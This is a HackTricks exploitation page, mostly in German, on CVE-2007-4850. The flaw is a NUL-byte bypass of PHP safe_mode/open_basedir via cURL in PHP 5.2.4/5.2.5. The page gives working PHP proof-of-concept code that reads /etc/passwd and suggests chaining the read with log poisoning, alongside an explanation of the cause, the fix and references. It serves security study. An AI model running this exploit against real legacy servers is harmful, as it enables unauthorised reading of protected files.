PHP 5.2.4 and 5.2.5 PHP cURL
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Diese Seite dokumentiert einen veralteten, aber in CTFs und lokalen Legacy-Installationen weiterhin nützlichen Trick, um PHP safe_mode/open_basedir-Prüfungen mithilfe der cURL-Erweiterung in bestimmten PHP 5.2.x-Builds zu umgehen.
- Betroffen: PHP 5.2.4 und 5.2.5 mit aktivierter ext/curl.
- Auswirkung: Beliebige lokale Dateien lesen trotz safe_mode- oder open_basedir-Einschränkungen (keine direkte Code-Ausführung).
- ID: CVE-2007-4850.
Quelle: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
One-liner PoC
Wenn safe_mode oder open_basedir aktiv sind und cURL aktiviert ist, gibt das Folgende den Inhalt des aktuellen Skripts zurück:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
Ausführlicher PoC (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Hinweise:
- Verwende doppelte Anführungszeichen oder chr(0), um ein echtes NUL-Byte einzufügen. Prozentkodierung (%00) funktioniert nicht zuverlässig.
- Dies ist eine Datei-Lese-Primitive. Kombiniere sie mit anderen Primitiven (log poisoning, session file inclusion, etc.) für eine mögliche weitere Eskalation.
Why this works (short)
Die Schwachstelle liegt darin, wie PHP 5.2.4/5.2.5 safe_mode/open_basedir-Prüfungen für file://-URLs in ext/curl durchführte. Der Check parste die URL und validierte eine Pfadkomponente, aber aufgrund der Behandlung von NUL-Bytes validierte er einen anderen String als den, den libcurl tatsächlich verwendete. In der Praxis konnte der Validator den Pfad nach dem NUL genehmigen, während libcurl den Teil vor dem NUL als URL-Container verwendete, was einen Bypass ermöglichte, der dazu führte, dass die Datei gelesen wurde, die nach dem NUL-Byte platziert war. Siehe die ursprüngliche Analyse und das betroffene Makro in curl/interface.c für Details. [CVE-2007-4850].
Constraints and fixes
- Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
- Only affects very old PHP deployments; safe_mode was removed in PHP 5.4 and modern builds do not exhibit this behavior.
See also
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
References
- Ubuntu CVE-Eintrag mit Patch-Hinweisen und betroffenen Versionen: https://ubuntu.com/security/CVE-2007-4850
- Technische Aufarbeitung mit Code-Kontext (cxsecurity): http://cxsecurity.com/issue/WLB-2008010060
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks